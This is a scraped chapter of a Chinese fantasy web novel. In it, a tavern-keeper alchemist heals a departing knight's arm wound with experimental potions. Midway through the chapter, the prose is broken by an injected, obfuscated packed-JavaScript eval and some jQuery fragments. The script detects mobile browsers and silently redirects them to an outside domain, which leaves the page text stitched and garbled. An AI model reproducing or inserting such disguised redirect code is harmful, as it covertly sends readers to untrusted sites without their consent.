文趣网 > 其他小说 > 从零开始的异世界经营 > 18. 第十八章
    塞西尔站在门外,肩上落着一层薄薄的夜露。

    听见墨林那句话,他问:“还没走,就不能来了?”

    “能,只是没想到。”,墨林坐回吧台等他。

    塞西尔跨进门,反手将门合上。

    他没穿骑士制服,深色外套也压得很低调,肩上却多了一只半旧的行囊,坐下时落下的声音有些沉闷。

    酒馆里已经没几桌客人,有人朝这边看了两眼,便继续喝自己的酒。

    墨林开口:“前几天替你送信的那位骑士今天来了,还带了两个人。”

    塞西尔想了一会儿:“哪个?”

    墨林将那人的衣着、样貌说了一遍,塞西尔才想起来:“哦,那天临时找的人,不熟。”

    另外两个,他连印象都没有,只道:“不是我替你招来的客人,你的酒比我的面子好用。”

    “眼光不错。”,墨林替他续了半杯酒。

    塞西尔笑了一声,没有反驳。他把行囊往脚边挪了挪,从里面取出一只小布袋,丢到吧台上。

    袋口没扎紧,两颗果子滚了出来。

    一颗只有指节大小,表皮暗蓝,浅色斑点藏在果皮下;另一颗淡黄,表面有些发干,纹路间结着细碎的糖晶。

    墨林捡起暗蓝的那颗,放到灯下看。

    “蓝的是星砂果,暗处会亮。”,塞西尔端起酒,“黄的是蜜晶果,晒得越干,外面的糖晶越多。”

    墨林拿空碟接住果子,用手掌挡在灯前。

    吧台这一小块暗下来,果皮下的斑点随即透出极淡的光,像细沙落进夜色,得凑近才看得清。

    若在剧场熄灯后,这点光不惹眼却能让人多看一眼,墨林左右仔细端详,眉心都舒展了。

    【看着就不像能好吃。】01评价。

    墨林将两种果类仔细装好,塞西尔看着他收东西,问:“乔不在?”

    “明天考试,今天还在学院训练。”,墨林说起刚才来店里的几个同学,又提到乔最近总是练得很晚。

    “嗯。”,塞西尔抿了口酒,“那孩子还可以,天赋不差,我见过他练。”

    墨林追问是什么时候,塞西尔说,“以前来店里,后门开着看了几眼,底子还不错。”

    他的袖口随着动作向上缩了一截,露出小臂外侧的一道擦伤。

    伤口不深,边缘却刚裂开不久,布料上还沾着一点暗红。

    墨林的目光停在那里:“手怎么了?”

    “路上擦的。”

    “你们骑士管这种叫擦伤?”,墨林看着那道仍在渗血的伤口。

    塞西尔将袖子放下:“没伤到骨头,都差不多。”

    墨林直起身,对他招招手:“正好,跟我来。”

    塞西尔看了眼通往后厨的门,没有动:“你什么时候允许客人进后厨了?”

    墨林绕出吧台,亲手拉开门,只回了五个字:“那你来不来。”

    他回头,塞西尔已经跟到门口,朝里打量,却仍停在门槛外。墨林侧身让出位置,他才跨进来。

    门后的空间比从前拥挤了许多,左边仍是灶台,右边新添了一排拇指大小的细口瓶,编号从一排到七,颜色各不相同。

    旁边一只药瓶被红线绕了两圈,单独放在金属托盘里,洗过的白手套搭在托盘边。

    塞西尔没有再往里走,他看过那些药瓶,转头问墨林:“这是厨房?还有,你什么时候开始炼金了?”

    “刚开始,没怎么研究。”

    【没怎么研究?后厨都快成你寝室了。】,01的声音很不满,【我看你都上瘾了。】

    墨林边回‘那得在这里布置张单人床’,边从架上取下白签药瓶,让塞西尔别捂着伤口。

    塞西尔照做,视线仍落在那瓶绕着红线的药上。

    “那瓶改过配方。”,墨林说:“试过药,有用的,手指麻了半个时辰。”

    【何止手麻啊。】某机又开始翻旧账。

    【你后来趴在桌上,怎么叫都没醒,我还以为你被自己的药药晕了。】

    墨林在脑中回它:“连续三晚没睡够,当然是困的。”

    【那也不能证明药没问题,你先说你拿的是哪一瓶。】

    墨林没再和它争,用指节在两只白签瓶上各点了一下,开口道:“这两瓶跟它不一样,事先说明,这两瓶我没试过。”

    塞西尔看了看药瓶,又看向他:“也就是说,我会是第一个?”

    墨林点头:“对。理论上没问题。”

    01特意强调了一遍:【理论上。】

    塞西尔把袖子挽到肘上,朝他伸出手:“拿来。”

    【你真要拿他试?】

    墨林把药递过去,在脑中回道:“骑士耐造。”

    01闻言马上不再反对:【也对,这两个也不是按配方来的,给骑士试总比你自己试好。】

    塞西尔接过药,瓶身被他拿得一斜,里面的黏液却几乎没动。

    过了好一会儿,才有一团贴着瓶壁缓缓坠下来,像条缩在瓶里的鼻涕虫。

    塞西尔皱起眉,把瓶口转向小臂。

    那团药眼看要碰到伤口,墨林托住他的手腕:“这是内服的。”

    塞西尔下意识收回,扫见正往瓶口爬的黏液,他顿了顿才开口:

    “……它看起来比我的伤可怕多了。”

    01立刻附和:【我就说了,正常人怎么看都不会觉得这东西能喝。】

    “这个才外用。”,墨林拿回药瓶,将另一瓶递过去。

    深褐色药液很稀,瓶身稍一倾斜,液面便跟着晃开。

    塞西尔的目光在两只瓶子之间走了一圈:“你是不是做反了?”

    “就是这样的。”,墨林抓过他的手,先替他把伤口洗净。

    凉水冲过裂开的皮肉,血色重新洇出来,塞西尔拿起外用药,在伤处倒了薄薄一层。

    深褐色很快漫过伤口,气味微冲,碰到裂开的皮肉时带起一阵刺痛。

    等刺痛退下去,塞西尔屈伸手指,又转了转手腕,伤处没有发麻,也没有肿起来,原本缓慢渗出的血倒是渐渐止住了。

    墨林这才拿起那瓶内服药:“来吃点东西。”

    塞西尔谢绝了。

    墨林把药塞在他手边,前堂正有人喊他加一碗热汤,他盛了一碗,端出去,回来时把一碟切开的麦芬放到骑士面前。

    他打开最里侧的柜子,倒出一杯透亮的金黄色酒。

    塞西尔认出那是开业后只尝过一次的“债主酒”,看了片刻,才再次确认:“真的要喝?”

    墨林把药和酒并排放好:“你可是骑士,不要怕。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835663|211407||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    塞西尔缓了缓,认命拔开药瓶塞,将瓶口朝下,那团黏液仍牢牢挂在瓶壁上,他晃了晃,药才慢慢滑向瓶口。

    他抬眼看向墨林,墨林重复:“内服。”

    塞西尔闭了闭眼,仰头把药吞了下去。

    01急忙道:【他真喝了。看着他,别让他走。】

    墨林本来也没打算放人,他坐回座位,看着塞西尔一口气喝掉半杯酒,又吃完麦芬,才问:“怎么样?”

    “还行。”,塞西尔缓了过来,“有点甜。”

    “我问的是药。”

    塞西尔转过头看他:“我说的就是药。”,眼神幽幽地看着他,像是在责问他怎么连自己的药都不清楚。

    墨林移开眼,视线落回他的小臂。

    伤口边缘很快收紧,结出一层薄痂,没过多久,薄痂自行脱落,下面露出粉白的新肉。

    01也看见了:【咦,药效居然不错。】

    “幸好是有用了。”,塞西尔也在看伤口,“我还以为你在整我。”

    墨林含糊地回了一句‘怎么会’,又问他有没有发麻、胸闷。

    塞西尔神色郁闷地喝完了酒,回:“没有,都挺好,就是喝下去有点恶心。”

    “不是甜的吗?”

    “对。”,塞西尔盯着空瓶,“甜的鼻涕虫。”

    墨林不做声了,01也不吱声。

    过了一会,他才小声说:“有效就行。”

    塞西尔又屈伸几次手指,转了转手腕,伤处没有再渗血,手臂活动自如。

    墨林收起药瓶,带他回到前堂。

    最后一桌客人正披上外套,墨林收过酒钱,等门铃停下,才从吧台后的酒柜里取出另一瓶酒。这次不是“债主酒”,但酒液橙黄,同样透亮。

    他把酒放到塞西尔面前,顺口问:“最近城里来来去去的人很多。”

    塞西尔说还会更多,墨林的视线掠过他脚边的行囊:“你什么时候走?”

    “天亮前。”,至于去多久,塞西尔没有答案,平静地说,“短时间不会回来。以后还回不回来,也说不准。”

    吧台后的火轻轻响了一声。

    墨林看着他,塞西尔已经重新放下袖口,方才那道擦伤被衣料遮住,像从未有过。

    墨林让他在吧台等着,转身来到炼药台。

    塞西尔在身后提醒军里不缺药,他只应了一声:“我知道。”

    他在系统里点击制作,炉架下的传导阵亮起一圈,几只药瓶落在桌面上。

    又拿了纱布,将药瓶和纱布装进袋子,带回吧台,放到塞西尔面前:“这批药和不粘布,你也试试。”

    塞西尔垂着眸,没有回话也没有接,只是在品酒,每次只抿一口,喝得很慢。

    墨林也没有催。

    外面的巡逻队又经过一次,靴声从街口靠近,再渐渐远去。

    塞西尔喝完最后一口,终于接过装着药和纱布的袋子,放下钱:“走了。”

    墨林应了一声。

    门铃轻响,冷气灌进来,塞西尔出门后没有回头,身影转眼便没入街角的暗处。

    墨林站在吧台里,直到脚步声听不见了,伸手取走空杯。

    杯底不会再有纸,塞西尔常坐的位置也空了,只有木凳边缘还留着一点被体温焐过的暖意。